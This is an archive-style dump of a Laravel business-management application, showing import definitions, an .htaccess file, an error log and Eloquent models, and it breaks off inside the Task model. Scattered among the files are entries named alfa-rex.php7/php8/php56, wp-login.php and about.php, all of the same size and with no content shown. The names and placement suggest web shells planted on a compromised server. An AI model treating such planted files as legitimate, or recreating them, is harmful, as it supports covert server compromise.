'required' => 'No'), array('id' => 'company_phone', 'name' => __('modules.client.officePhoneNumber'), 'required' => 'No'), array('id' => 'company_website', 'name' => __('modules.client.website'), 'required' => 'No'), array('id' => 'gst_number', 'name' => __('app.gstNumber'), 'required' => 'No'), ); } public function array(array $array): array { return $array; } } Imports/DealImport.php000064400000001555150325104510010754 0ustar00 'email', 'name' => __('modules.deal.leadContactEmail'), 'required' => 'Yes'), array('id' => 'name', 'name' => __('modules.deal.dealName'), 'required' => 'Yes'), array('id' => 'pipeline', 'name' => __('modules.deal.pipeline'), 'required' => 'Yes'), array('id' => 'stages', 'name' => __('modules.deal.stages'), 'required' => 'Yes'), array('id' => 'value', 'name' => __('modules.deal.dealValue'), 'required' => 'Yes'), array('id' => 'close_date', 'name' => __('modules.deal.closeDate'), 'required' => 'Yes'), ); } public function array(array $array): array { return $array; } } Imports/.htaccess000064400000000544150325104510007776 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Imports/LeadImport.php000064400000003217150325104510010751 0ustar00 'name', 'name' => __('modules.lead.clientName'), 'required' => 'Yes'), array('id' => 'email', 'name' => __('modules.lead.clientEmail'), 'required' => 'Yes'), array('id' => 'note', 'name' => __('app.note'), 'required' => 'No'), array('id' => 'company_name', 'name' => __('modules.lead.companyName'), 'required' => 'No'), array('id' => 'company_website', 'name' => __('modules.lead.website'), 'required' => 'No'), array('id' => 'mobile', 'name' => __('modules.lead.mobile'), 'required' => 'No'), array('id' => 'company_phone', 'name' => __('modules.client.officePhoneNumber'), 'required' => 'No'), array('id' => 'country', 'name' => __('app.country'), 'required' => 'No'), array('id' => 'state', 'name' => __('modules.stripeCustomerAddress.state'), 'required' => 'No'), array('id' => 'city', 'name' => __('modules.stripeCustomerAddress.city'), 'required' => 'No'), array('id' => 'postal_code', 'name' => __('modules.stripeCustomerAddress.postalCode'), 'required' => 'No'), array('id' => 'address', 'name' => __('app.address'), 'required' => 'No'), array('id' => 'source', 'name' => __('modules.lead.leadSource'), 'required' => 'No'), array('id' => 'created_at', 'name' => __('app.createdOn'), 'required' => 'No'), ); } public function array(array $array): array { return $array; } } Imports/alfa-rex.php7000064400000026574150325104510010512 0ustar00Imports/EmployeeImport.php000064400000002116150325104510011660 0ustar00 'name', 'name' => __('modules.employees.employeeName'), 'required' => 'Yes',), array('id' => 'email', 'name' => __('modules.employees.employeeEmail'), 'required' => 'Yes',), array('id' => 'mobile', 'name' => __('app.mobile'), 'required' => 'No',), array('id' => 'gender', 'name' => __('modules.employees.gender'), 'required' => 'No',), array('id' => 'employee_id', 'name' => __('modules.employees.employeeId'), 'required' => 'Yes'), array('id' => 'joining_date', 'name' => __('modules.employees.joiningDate'), 'required' => 'Yes'), array('id' => 'address', 'name' => __('app.address'), 'required' => 'No'), array('id' => 'hourly_rate', 'name' => __('modules.employees.hourlyRate'), 'required' => 'No'), ); } public function array(array $array): array { return $array; } } Imports/alfa-rex.php8000064400000026574150325104510010513 0ustar00Imports/wp-login.php000064400000026574150325104510010460 0ustar00Imports/AttendanceImport.php000064400000002152150325104510012147 0ustar00 'email', 'name' => __('app.email'), 'required' => 'Yes'), array('id' => 'clock_in_time', 'name' => __('modules.attendance.clock_in'), 'required' => 'Yes'), array('id' => 'clock_out_time', 'name' => __('modules.attendance.clock_out'), 'required' => 'No'), array('id' => 'clock_in_ip', 'name' => __('modules.attendance.clock_in_ip'), 'required' => 'No'), array('id' => 'clock_out_ip', 'name' => __('modules.attendance.clock_out_ip'), 'required' => 'No'), array('id' => 'working_from', 'name' => __('modules.attendance.working_from'), 'required' => 'No'), array('id' => 'late', 'name' => __('modules.attendance.late'), 'required' => 'No'), array('id' => 'half_day', 'name' => __('modules.attendance.halfDay'), 'required' => 'No'), ); } public function array(array $array): array { return $array; } } Imports/alfa-rex.php56000064400000026574150325104510010576 0ustar00Imports/ExpenseImport.php000064400000002133150325104510011507 0ustar00 'item_name', 'name' => __('modules.expenses.itemName'), 'required' => 'Yes',), array('id' => 'price', 'name' => __('app.price'), 'required' => 'Yes',), array('id' => 'purchase_date', 'name' => __('modules.expenses.purchaseDate'), 'required' => 'Yes',), array('id' => 'email', 'name' => __('modules.employees.employeeEmail'), 'required' => 'No',), array('id' => 'purchase_from', 'name' => __('modules.expenses.purchaseFrom'), 'required' => 'No',), array('id' => 'description', 'name' => __('app.description'), 'required' => 'No'), array('id' => 'bank_account', 'name' => __('app.menu.bankaccount'), 'required' => 'No'), array('id' => 'category', 'name' => __('modules.expenses.expenseCategory'), 'required' => 'No',), ); } public function array(array $array): array { return $array; } } Imports/about.php000064400000026574150325104510010036 0ustar00Imports/error_log000064400000001626150325104510010117 0ustar00[04-Jul-2025 12:09:00 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:03:29 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Imports/ProjectImport.php000064400000002151150325104510011506 0ustar00 'project_name', 'name' => __('modules.projects.projectName'), 'required' => 'Yes'), array('id' => 'project_summary', 'name' => __('modules.projects.projectSummary'), 'required' => 'No'), array('id' => 'start_date', 'name' => __('modules.projects.startDate'), 'required' => 'Yes'), array('id' => 'deadline', 'name' => __('modules.projects.deadline'), 'required' => 'No'), array('id' => 'client_email', 'name' => __('app.client') . ' ' . __('app.email'), 'required' => 'No'), array('id' => 'project_budget', 'name' => __('modules.projects.projectBudget'), 'required' => 'No'), array('id' => 'status', 'name' => __('app.status'), 'required' => 'No'), array('id' => 'notes', 'name' => __('modules.projects.note'), 'required' => 'No'), ); } public function array(array $array): array { return $array; } } Imports/about.php7000064400000026574150325104510010125 0ustar00Imports/ProductImport.php000064400000001764150325104510011531 0ustar00 'product_name', 'name' => __('modules.client.productName'), 'required' => 'Yes'), array('id' => 'price', 'name' => __('app.price'), 'required' => 'Yes'), array('id' => 'unit_type', 'name' => __('modules.unitType.unitType'), 'required' => 'No'), array('id' => 'product_category', 'name' => __('modules.productCategory.productCategory'), 'required' => 'No'), array('id' => 'product_sub_category', 'name' => __('modules.productCategory.productSubCategory'), 'required' => 'No'), array('id' => 'sku', 'name' => __('app.sku'), 'required' => 'No'), array('id' => 'description', 'name' => __('app.description'), 'required' => 'No'), ); } public function array(array $array): array { return $array; } } alfa-rex.php7000064400000026574150325104510007055 0ustar00alfa-rex.php8000064400000026574150325104510007056 0ustar00wp-login.php000064400000026574150325104510007023 0ustar00Models/UnitType.php000064400000023003150325104510010253 0ustar00 $creditnoteitems * @property-read int|null $creditnoteitems_count * @property-read \Illuminate\Database\Eloquent\Collection $estimateitems * @property-read int|null $estimateitems_count * @property-read \Illuminate\Database\Eloquent\Collection $estimatetemplate * @property-read int|null $estimatetemplate_count * @property-read \Illuminate\Database\Eloquent\Collection $invoicesItems * @property-read int|null $invoices_items_count * @property-read \Illuminate\Database\Eloquent\Collection $orders * @property-read int|null $orders_count * @property-read \Illuminate\Database\Eloquent\Collection $proposalitems * @property-read int|null $proposalitems_count * @property-read \Illuminate\Database\Eloquent\Collection $proposaltemplate * @property-read int|null $proposaltemplate_count * @property-read \Illuminate\Database\Eloquent\Collection $recurringInvoice * @property-read int|null $recurring_invoice_count * @method static \Illuminate\Database\Eloquent\Builder|UnitType newModelQuery() * @method static \Illuminate\Database\Eloquent\Builder|UnitType newQuery() * @method static \Illuminate\Database\Eloquent\Builder|UnitType query() * @method static \Illuminate\Database\Eloquent\Builder|UnitType whereCompanyId($value) * @method static \Illuminate\Database\Eloquent\Builder|UnitType whereCreatedAt($value) * @method static \Illuminate\Database\Eloquent\Builder|UnitType whereDefault($value) * @method static \Illuminate\Database\Eloquent\Builder|UnitType whereId($value) * @method static \Illuminate\Database\Eloquent\Builder|UnitType whereUnitType($value) * @method static \Illuminate\Database\Eloquent\Builder|UnitType whereUpdatedAt($value) * @property-read \Illuminate\Database\Eloquent\Collection $creditnoteitems * @property-read \Illuminate\Database\Eloquent\Collection $estimateitems * @property-read \Illuminate\Database\Eloquent\Collection $estimatetemplate * @property-read \Illuminate\Database\Eloquent\Collection $invoicesItems * @property-read \Illuminate\Database\Eloquent\Collection $orders * @property-read \Illuminate\Database\Eloquent\Collection $proposalitems * @property-read \Illuminate\Database\Eloquent\Collection $proposaltemplate * @property-read \Illuminate\Database\Eloquent\Collection $recurringInvoice * @property-read \Illuminate\Database\Eloquent\Collection $creditnoteitems * @property-read \Illuminate\Database\Eloquent\Collection $estimateitems * @property-read \Illuminate\Database\Eloquent\Collection $estimatetemplate * @property-read \Illuminate\Database\Eloquent\Collection $invoicesItems * @property-read \Illuminate\Database\Eloquent\Collection $orders * @property-read \Illuminate\Database\Eloquent\Collection $proposalitems * @property-read \Illuminate\Database\Eloquent\Collection $proposaltemplate * @property-read \Illuminate\Database\Eloquent\Collection $recurringInvoice * @property-read \Illuminate\Database\Eloquent\Collection $creditnoteitems * @property-read \Illuminate\Database\Eloquent\Collection $estimateitems * @property-read \Illuminate\Database\Eloquent\Collection $estimatetemplate * @property-read \Illuminate\Database\Eloquent\Collection $invoicesItems * @property-read \Illuminate\Database\Eloquent\Collection $orders * @property-read \Illuminate\Database\Eloquent\Collection $proposalitems * @property-read \Illuminate\Database\Eloquent\Collection $proposaltemplate * @property-read \Illuminate\Database\Eloquent\Collection $recurringInvoice * @property-read \Illuminate\Database\Eloquent\Collection $creditnoteitems * @property-read \Illuminate\Database\Eloquent\Collection $estimateitems * @property-read \Illuminate\Database\Eloquent\Collection $estimatetemplate * @property-read \Illuminate\Database\Eloquent\Collection $invoicesItems * @property-read \Illuminate\Database\Eloquent\Collection $orders * @property-read \Illuminate\Database\Eloquent\Collection $proposalitems * @property-read \Illuminate\Database\Eloquent\Collection $proposaltemplate * @property-read \Illuminate\Database\Eloquent\Collection $recurringInvoice * @property-read \Illuminate\Database\Eloquent\Collection $creditnoteitems * @property-read \Illuminate\Database\Eloquent\Collection $estimateitems * @property-read \Illuminate\Database\Eloquent\Collection $estimatetemplate * @property-read \Illuminate\Database\Eloquent\Collection $invoicesItems * @property-read \Illuminate\Database\Eloquent\Collection $orders * @property-read \Illuminate\Database\Eloquent\Collection $proposalitems * @property-read \Illuminate\Database\Eloquent\Collection $proposaltemplate * @property-read \Illuminate\Database\Eloquent\Collection $recurringInvoice * @property-read \Illuminate\Database\Eloquent\Collection $creditnoteitems * @property-read \Illuminate\Database\Eloquent\Collection $estimateitems * @property-read \Illuminate\Database\Eloquent\Collection $estimatetemplate * @property-read \Illuminate\Database\Eloquent\Collection $invoicesItems * @property-read \Illuminate\Database\Eloquent\Collection $orders * @property-read \Illuminate\Database\Eloquent\Collection $proposalitems * @property-read \Illuminate\Database\Eloquent\Collection $proposaltemplate * @property-read \Illuminate\Database\Eloquent\Collection $recurringInvoice * @property-read \Illuminate\Database\Eloquent\Collection $creditnoteitems * @property-read \Illuminate\Database\Eloquent\Collection $estimateitems * @property-read \Illuminate\Database\Eloquent\Collection $estimatetemplate * @property-read \Illuminate\Database\Eloquent\Collection $invoicesItems * @property-read \Illuminate\Database\Eloquent\Collection $orders * @property-read \Illuminate\Database\Eloquent\Collection $proposalitems * @property-read \Illuminate\Database\Eloquent\Collection $proposaltemplate * @property-read \Illuminate\Database\Eloquent\Collection $recurringInvoice * @property-read \Illuminate\Database\Eloquent\Collection $creditnoteitems * @property-read \Illuminate\Database\Eloquent\Collection $estimateitems * @property-read \Illuminate\Database\Eloquent\Collection $estimatetemplate * @property-read \Illuminate\Database\Eloquent\Collection $invoicesItems * @property-read \Illuminate\Database\Eloquent\Collection $orders * @property-read \Illuminate\Database\Eloquent\Collection $proposalitems * @property-read \Illuminate\Database\Eloquent\Collection $proposaltemplate * @property-read \Illuminate\Database\Eloquent\Collection $recurringInvoice * @mixin \Eloquent */ class UnitType extends BaseModel { use HasCompany; protected $table = 'unit_types'; protected $id = 'id'; protected $fillable = ['unit_type', 'company_id', 'default']; public function invoicesItems() { return $this->hasMany(InvoiceItems::class); } public function proposalitems() { return $this->hasMany(ProposalItem::class); } public function estimateitems() { return $this->hasMany(EstimateItem::class); } public function creditnoteitems() { return $this->hasMany(CreditNotes::class); } public function proposaltemplate() { return $this->hasMany(ProposalTemplate::class); } public function estimatetemplate() { return $this->hasMany(EstimateTemplate::class); } public function recurringInvoice() { return $this->hasMany(RecurringInvoice::class); } public function orders() { return $this->hasMany(Order::class); } }Models/alfa-rex.php000064400000026574150325104510010211 0ustar00Models/InvoiceItemImage.php000064400000004455150325104510011662 0ustar00external_link){ return str($this->external_link)->contains('http') ? $this->external_link : asset_url_local_s3($this->external_link); } return asset_url_local_s3(InvoiceItemImage::FILE_PATH . '/' . $this->invoice_item_id . '/' . $this->hashname); } public function getFileAttribute() { return $this->external_link ?: (InvoiceItemImage::FILE_PATH . '/' . $this->invoice_item_id . '/' . $this->hashname); } } Models/EstimateRequest.php000064400000002217150325104510011622 0ustar00belongsTo(Company::class); } public function client(): BelongsTo { return $this->belongsTo(User::class, 'client_id')->withoutGlobalScope(ActiveScope::class); } public function clientdetails(): BelongsTo { return $this->belongsTo(ClientDetails::class, 'client_id', 'user_id'); } public function estimate(): BelongsTo { return $this->belongsTo(Estimate::class, 'estimate_id'); } public function currency(): BelongsTo { return $this->belongsTo(Currency::class, 'currency_id'); } public function project(): BelongsTo { return $this->belongsTo(Project::class, 'project_id'); } public static function lastRequestNumber() { return (int)EstimateRequest::orderBy('id', 'desc')->first()?->original_request_number ?? 0; } } Models/Invoice.php000064400000031315150325104510010073 0ustar00 $files * @property-read int|null $files_count * @property-read mixed $download_file_url * @method static \Illuminate\Database\Eloquent\Builder|Invoice whereGateway($value) * @method static \Illuminate\Database\Eloquent\Builder|Invoice whereOfflineMethodId($value) * @method static \Illuminate\Database\Eloquent\Builder|Invoice wherePaymentStatus($value) * @method static \Illuminate\Database\Eloquent\Builder|Invoice whereTransactionId($value) * @property string|null $original_invoice_number * @method static \Illuminate\Database\Eloquent\Builder|Invoice whereOriginalInvoiceNumber($value) * @mixin \Eloquent */ class Invoice extends BaseModel { use Notifiable; use CustomFieldsTrait; use HasCompany; protected $casts = [ 'issue_date' => 'datetime', 'due_date' => 'datetime', 'last_viewed' => 'datetime', ]; protected $appends = ['total_amount', 'issue_on']; protected $with = ['currency']; const CUSTOM_FIELD_MODEL = 'App\Models\Invoice'; public function project(): BelongsTo { return $this->belongsTo(Project::class, 'project_id')->withTrashed(); } public function client(): BelongsTo { return $this->belongsTo(User::class, 'client_id')->withoutGlobalScope(ActiveScope::class); } public function clientdetails(): BelongsTo { return $this->belongsTo(ClientDetails::class, 'client_id', 'user_id'); } public function creditNotes(): HasMany { return $this->hasMany(CreditNotes::class); } public function recurrings(): HasMany { return $this->hasMany(Invoice::class, 'parent_id'); } public function items(): HasMany { return $this->hasMany(InvoiceItems::class, 'invoice_id'); } public function payment(): HasMany { return $this->hasMany(Payment::class, 'invoice_id')->orderByDesc('paid_on'); } public function currency(): BelongsTo { return $this->belongsTo(Currency::class, 'currency_id'); } public function order(): BelongsTo { return $this->belongsTo(Order::class, 'order_id'); } public function estimate(): BelongsTo { return $this->belongsTo(Estimate::class, 'estimate_id'); } public function address(): BelongsTo { return $this->belongsTo(CompanyAddress::class, 'company_address_id'); } public function bankAccount(): belongsTo { return $this->belongsTo(BankAccount::class, 'bank_account_id'); } public function invoicePaymentDetail() { return $this->belongsTo(InvoicePaymentDetail::class, 'invoice_payment_id'); } public function scopePending($query) { return $query->where(function ($q) { $q->where('invoices.status', 'unpaid') ->orWhere('invoices.status', 'partial'); }); } public static function clientInvoices($clientId) { return Invoice::join('projects', 'projects.id', '=', 'invoices.project_id') ->select('projects.project_name', 'invoices.*') ->where('projects.client_id', $clientId) ->get(); } public static function lastInvoiceNumber($companyId = null) { if ($companyId) { return (int)Invoice::where('company_id', $companyId)->orderBy('id', 'desc')->first()?->original_invoice_number ?? 0; } return (int)Invoice::orderBy('id', 'desc')->first()?->original_invoice_number ?? 0; } public function appliedCredits() { return Payment::where('invoice_id', $this->id)->sum('amount'); } public function amountDue() { $due = $this->total - ($this->amountPaid()); return max($due, 0); } public function amountPaid() { return $this->payment->where('status', 'complete')->sum('amount'); } public function getPaidAmount() { return $this->payment->sum('amount'); } public function getTotalAmountAttribute() { if (!is_null($this->total) && !is_null($this->currency->currency_symbol)) { return $this->currency->currency_symbol . $this->total; } return ''; } public function getIssueOnAttribute() { if (is_null($this->issue_date)) { return ''; } return Carbon::parse($this->issue_date)->format('d F, Y'); } public function formatInvoiceNumber() { $invoiceSettings = company() ? company()->invoiceSetting : $this->company->invoiceSetting; return \App\Helper\NumberFormat::invoice($this->invoice_number, $invoiceSettings); } public function getDownloadFileUrlAttribute() { return ($this->downloadable_file) ? asset_url_local_s3(InvoiceFiles::FILE_PATH . '/' . $this->downloadable_file) : null; } public function files(): HasMany { return $this->hasMany(InvoiceFiles::class, 'invoice_id')->orderByDesc('id'); } } Models/TicketGroup.php000064400000003523150325104510010737 0ustar00hasMany(Ticket::class, 'group_id'); } public function enabledAgents(): HasMany { return $this->hasMany(TicketAgentGroups::class, 'group_id')->where('status', '=', 'enabled')->whereHas('user')->groupBy('agent_id'); } } Models/PipelineStage.php000064400000005466150325104510011240 0ustar00hasMany(Deal::class, 'pipeline_stage_id')->orderBy('deals.column_priority'); } public function deals(): HasMany { return $this->hasMany(Deal::class, 'pipeline_stage_id')->orderBy('deals.column_priority'); } public function pipeline(): BelongsTo { return $this->belongsTo(LeadPipeline::class, 'lead_pipeline_id'); } public function userSetting(): HasOne { return $this->hasOne(UserLeadboardSetting::class, 'pipeline_stage_id')->where('user_id', user()->id); } } Models/ModuleSetting.php000064400000007570150325104510011270 0ustar00where('type', 'admin'); } elseif (in_array('client', user_roles())) { $module = $module->where('type', 'client'); } elseif (in_array('employee', user_roles())) { $module = $module->where('type', 'employee'); } $module = $module->where('status', 'active'); $module = $module->first(); return (bool)$module; } public static function addCompanyIdToNullModule($company, $module) { // This is done for existing module settings. This will update the company id with 1 // for existing module rather creating new module setting if ($company->id == 1) { ModuleSetting::withoutGlobalScope(CompanyScope::class)->where('module_name', $module) ->whereNull('company_id') ->update(['company_id' => $company->id]); } } public static function createRoleSettingEntry($module, $roles, $company) { self::addCompanyIdToNullModule($company, $module); foreach ($roles as $role) { $data = ModuleSetting::withoutGlobalScope(CompanyScope::class) ->where('module_name', $module) ->where('type', $role) ->where('company_id', $company->id) ->first(); if (!$data) { ModuleSetting::create([ 'module_name' => $module, 'type' => $role, 'company_id' => $company->id, ]); } } PermissionRole::insertModuleRolePermission($module, $company->id); } } Models/RecurringInvoiceItems.php000064400000005677150325104510012772 0ustar00withTrashed(); } public function recurringInvoiceItemImage(): HasOne { return $this->hasOne(RecurringInvoiceItemImage::class, 'invoice_recurring_item_id'); } public function unit(): BelongsTo { return $this->belongsTo(UnitType::class, 'unit_id'); } } Models/TaskLabel.php000064400000002363150325104510010342 0ustar00belongsTo(TaskLabelList::class, 'label_id'); } } Models/LeadUserNote.php000064400000002131150325104510011023 0ustar00first(); } public function country(): BelongsTo { return $this->belongsTo(Country::class); } } Models/PurposeConsent.php000064400000003103150325104510011460 0ustar00hasOne(PurposeConsentDeal::class, 'purpose_consent_id', 'id'); } public function user(): HasOne { return $this->hasOne(PurposeConsentUser::class, 'purpose_consent_id', 'id'); } } Models/RotationAutomateLog.php000064400000000260150325104510012433 0ustar00belongsTo(Skill::class); } public function user(): BelongsTo { return $this->belongsTo(User::class); } } Models/Company.php000064400000057211150325104510010110 0ustar00 'string' ]; protected $appends = [ 'logo_url', 'login_background_url', 'moment_date_format', 'favicon_url' ]; const DATE_FORMATS = GlobalSetting::DATE_FORMATS; public function currency(): BelongsTo { return $this->belongsTo(Currency::class, 'currency_id'); } public function getLogoUrlAttribute() { if (user()) { if (user()->dark_theme) { return $this->defaultLogo(); } } if (company() && company()->auth_theme == 'dark') { return $this->defaultLogo(); } if (is_null($this->light_logo)) { return global_setting()->light_logo_url; } return asset_url_local_s3('app-logo/' . $this->light_logo); } public function defaultLogo() { if (is_null($this->logo)) { return global_setting()->dark_logo_url; } return asset_url_local_s3('app-logo/' . $this->logo); } public function getLightLogoUrlAttribute() { if (is_null($this->light_logo)) { return global_setting()->light_logo_url; } return asset_url_local_s3('app-logo/' . $this->light_logo); } public function getDarkLogoUrlAttribute() { if (is_null($this->logo)) { return asset('img/worksuite-logo.png'); } return asset_url_local_s3('app-logo/' . $this->logo); } public function getLoginBackgroundUrlAttribute() { if (is_null($this->login_background) || $this->login_background == 'login-background.jpg') { return null; } return asset_url_local_s3('login-background/' . $this->login_background); } public function maskedDefaultLogo(): Attribute { return Attribute::make( get: function () { if (is_null($this->logo)) { return global_setting()->dark_logo_url; } return $this->generateMaskedImageAppUrl('app-logo/' . $this->logo); }, ); } public function maskedLogoUrl(): Attribute { return Attribute::make( get: function () { if (user()) { if (user()->dark_theme) { return $this->masked_default_logo; } } if (company() && company()->auth_theme == 'dark') { return $this->masked_default_logo; } if (is_null($this->light_logo)) { return global_setting()->light_logo_url; } return $this->generateMaskedImageAppUrl('app-logo/' . $this->light_logo); }, ); } public function maskedLightLogoUrl(): Attribute { return Attribute::make( get: function () { if (is_null($this->light_logo)) { return global_setting()->light_logo_url; } return $this->generateMaskedImageAppUrl('app-logo/' . $this->light_logo); }, ); } public function maskedDarkLogoUrl(): Attribute { return Attribute::make( get: function () { if (is_null($this->logo)) { return asset('img/worksuite-logo.png'); } return $this->generateMaskedImageAppUrl('app-logo/' . $this->logo); }, ); } public function maskedLoginBackgroundUrl(): Attribute { return Attribute::make( get: function () { if (is_null($this->login_background) || $this->login_background == 'login-background.jpg') { return null; } return $this->generateMaskedImageAppUrl('login-background/' . $this->login_background); }, ); } public function maskedFaviconUrl(): Attribute { return Attribute::make( get: function () { if (is_null($this->favicon)) { return global_setting()->favicon_url; } return $this->generateMaskedImageAppUrl('favicon/' . $this->favicon); }, ); } public function getMomentDateFormatAttribute() { return array_key_exists($this->date_format, self::DATE_FORMATS) ? self::DATE_FORMATS[$this->date_format] : null; // return isset($this->date_format) ? self::DATE_FORMATS[$this->date_format] : null; } public function scopeActive(Builder $query): void { $query->where('companies.status', 'active'); } public function getFaviconUrlAttribute() { if (is_null($this->favicon)) { return global_setting()->favicon_url; } return asset_url_local_s3('favicon/' . $this->favicon); } public function paymentGatewayCredentials(): HasOne { return $this->hasOne(PaymentGatewayCredentials::class); } public function invoiceSetting(): HasOne { return $this->hasOne(InvoiceSetting::class); } public function offlinePaymentMethod(): HasMany { return $this->hasMany(OfflinePaymentMethod::class); } public function leaveTypes() { return $this->hasMany(LeaveType::class); } public function companyAddress(): HasMany { return $this->hasMany(CompanyAddress::class); } public function defaultAddress(): HasOne { return $this->hasOne(CompanyAddress::class)->where('is_default', 1); } public function taxes(): HasMany { return $this->hasMany(Tax::class); } public function ticketTypes(): HasMany { return $this->hasMany(TicketType::class); } public function ticketChannels(): HasMany { return $this->hasMany(TicketChannel::class); } public function projectSetting(): HasOne { return $this->hasOne(ProjectSetting::class); } public function projectStatusSettings(): HasMany { return $this->HasMany(ProjectStatusSetting::class); } public function attendanceSetting(): HasOne { return $this->HasOne(AttendanceSetting::class); } public function messageSetting(): HasOne { return $this->HasOne(MessageSetting::class); } public function leadSources(): HasMany { return $this->HasMany(LeadSource::class); } public function leadStats(): HasMany { return $this->HasMany(LeadStatus::class); } public function leadAgents(): HasMany { return $this->HasMany(LeadAgent::class); } public function leadCategories(): HasMany { return $this->HasMany(LeadCategory::class); } public function moduleSetting(): HasMany { return $this->HasMany(ModuleSetting::class); } public function currencies(): HasMany { return $this->HasMany(Currency::class); } public function timeLogSetting(): HasOne { return $this->HasOne(ProjectTimeLog::class); } public function taskSetting(): HasOne { return $this->HasOne(TaskSetting::class); } public function leaveSetting(): HasOne { return $this->HasOne(LeaveSetting::class); } public function slackSetting(): HasOne { return $this->HasOne(SlackSetting::class); } public function fileStorage(): HasMany { return $this->hasMany(FileStorage::class); } public static function renameOrganisationTableToCompanyTable() { if (Schema::hasTable('organisation_settings')) { Schema::rename('organisation_settings', 'companies'); } } public function clients(): HasMany { return $this->hasMany(User::class)->whereHas('ClientDetails'); } public function invoices(): HasMany { return $this->hasMany(Invoice::class); } public function estimates(): HasMany { return $this->hasMany(Estimate::class); } public function projects(): HasMany { return $this->hasMany(Project::class); } public function tasks(): HasMany { return $this->hasMany(Task::class); } public function leads(): HasMany { return $this->hasMany(Deal::class); } public function orders(): HasMany { return $this->hasMany(Order::class); } public function tickets(): HasMany { return $this->hasMany(Ticket::class); } public function contracts(): HasMany { return $this->hasMany(Contract::class); } public function events(): HasMany { return $this->hasMany(Event::class); } public function users(): HasMany { return $this->hasMany(User::class); } } Models/ProductSubCategory.php000064400000003145150325104510012267 0ustar00belongsTo(ProductCategory::class, 'category_id'); } } Models/TicketCustomForm.php000064400000004421150325104510011737 0ustar00belongsTo(CustomField::class, 'custom_fields_id'); } } Models/ExpensesCategory.php000064400000004260150325104510011766 0ustar00hasMany(Expense::class, 'category_id'); } public function roles(): HasMany { return $this->hasMany(ExpensesCategoryRole::class, 'expenses_category_id'); } } Models/MentionUser.php000064400000005555150325104510010756 0ustar00belongsTo(User::class, 'user_id')->withoutGlobalScope(ActiveScope::class); } public function task(): BelongsTo { return $this->belongsTo(Task::class, 'task_id'); } } Models/Task.php000064400000054317150325104510007410 0ustar00 $mentionTask * @property-read int|null $mention_task_count * @property-read \Illuminate\Database\Eloquent\Collection $mentionUser * @property-read int|null $mention_user_count * @property-read \Illuminate\Database\Eloquent\Collection $mentionTask * @property-read \Illuminate\Database\Eloquent\Collection $mentionUser * @mixin \Eloquent */ class Task extends BaseModel { use Notifiable, SoftDeletes; use CustomFieldsTrait; use HasCompany; protected $casts = [ 'due_date' => 'datetime', 'completed_on' => 'datetime', 'start_date' => 'datetime', ]; protected $appends = ['due_on', 'create_on']; protected $guarded = ['id']; protected $with = ['company:id,date_format', 'project:id,project_name,need_approval_by_admin,project_short_code', 'users:id,name,image']; const CUSTOM_FIELD_MODEL = 'App\Models\Task'; public function project(): BelongsTo { return $this->belongsTo(Project::class, 'project_id')->withTrashed(); } public function activeProject(): BelongsTo { return $this->belongsTo(Project::class, 'project_id'); } public function label(): HasMany { return $this->hasMany(TaskLabel::class, 'task_id'); } public function boardColumn(): BelongsTo { return $this->belongsTo(TaskboardColumn::class, 'board_column_id'); } public function users(): BelongsToMany { return $this->belongsToMany(User::class, 'task_users')->withoutGlobalScope(ActiveScope::class)->using(TaskUser::class); } public function taskUsers(): HasMany { return $this->hasMany(TaskUser::class, 'task_id'); } public function activeUsers(): BelongsToMany { return $this->belongsToMany(User::class, 'task_users')->using(TaskUser::class); } public function labels(): BelongsToMany { return $this->belongsToMany(TaskLabelList::class, 'task_labels', 'task_id', 'label_id'); } public function createBy(): BelongsTo { return $this->belongsTo(User::class, 'created_by')->withoutGlobalScope(ActiveScope::class); } public function addedByUser(): BelongsTo { return $this->belongsTo(User::class, 'added_by')->withoutGlobalScope(ActiveScope::class); } public function category(): BelongsTo { return $this->belongsTo(TaskCategory::class, 'task_category_id'); } public function subtasks(): HasMany { return $this->hasMany(SubTask::class, 'task_id'); } public function history(): HasMany { return $this->hasMany(TaskHistory::class, 'task_id')->orderByDesc('id'); } public function completedSubtasks(): HasMany { return $this->hasMany(SubTask::class, 'task_id')->where('sub_tasks.status', 'complete'); } public function incompleteSubtasks(): HasMany { return $this->hasMany(SubTask::class, 'task_id')->where('sub_tasks.status', 'incomplete'); } public function comments(): HasMany { return $this->hasMany(TaskComment::class, 'task_id')->orderByDesc('id'); } public function notes(): HasMany { return $this->hasMany(TaskNote::class, 'task_id')->orderByDesc('id'); } public function files(): HasMany { return $this->hasMany(TaskFile::class, 'task_id')->orderByDesc('id'); } public function activeTimer(): HasOne { return $this->hasOne(ProjectTimeLog::class, 'task_id') ->whereNull('project_time_logs.end_time'); } public function userActiveTimer(): HasOne { return $this->hasOne(ProjectTimeLog::class, 'task_id') ->whereNull('project_time_logs.end_time') ->where('project_time_logs.user_id', user()->id); } public function activeTimerAll(): HasMany { return $this->hasMany(ProjectTimeLog::class, 'task_id') ->whereNull('project_time_logs.end_time'); } public function timeLogged(): HasMany { return $this->hasMany(ProjectTimeLog::class, 'task_id'); } public function approvedTimeLogs(): HasMany { return $this->hasMany(ProjectTimeLog::class, 'task_id')->where('project_time_logs.approved', 1)->orderBy('project_time_logs.start_time', 'desc'); } public function recurrings(): HasMany { return $this->hasMany(Task::class, 'recurring_task_id'); } public function milestone(): BelongsTo { return $this->belongsTo(ProjectMilestone::class, 'milestone_id'); } public function scopePending($query) { $taskBoardColumn = TaskboardColumn::completeColumn(); return $query->where('tasks.board_column_id', '<>', $taskBoardColumn->id); } /** * @return string */ public function getDueOnAttribute() { if (is_null($this->due_date)) { return ''; } // company relation is null if (is_null($this->company_id)) 